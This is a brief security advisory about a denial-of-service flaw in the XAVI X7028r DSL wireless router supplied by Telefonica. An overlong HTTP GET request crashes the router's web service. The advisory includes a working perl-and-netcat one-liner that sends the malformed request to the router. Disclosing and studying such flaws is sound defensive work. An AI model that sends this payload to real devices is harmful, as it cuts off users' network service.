      Denial of Service in XAVI X7028r DSL Wireless Router (Long GET Request)
    ------------------------------------------------------------------------

    SUMMARY

    Telefonica offers to her clients in Spain and South America the
    possibility of installing with his ADSL service a wireless router
    developed by XAVI. A vulnerability in the product allows remote attackers
    to cause the router stop serving legitimate requests by sending it a
    specially crafted HTPT GET request.

    DETAILS

    A LAN user to cause a DoS by sending a malformed HTTP GET request (where
    the URL is longer than what the router expects).

    Exploit:
    perl -e 'print "GET /"."A"x1008;print "\nHost:192.168.1.1:280\n\n\n\n\n"'
    | netcat -v -n 192.168.1.1 280
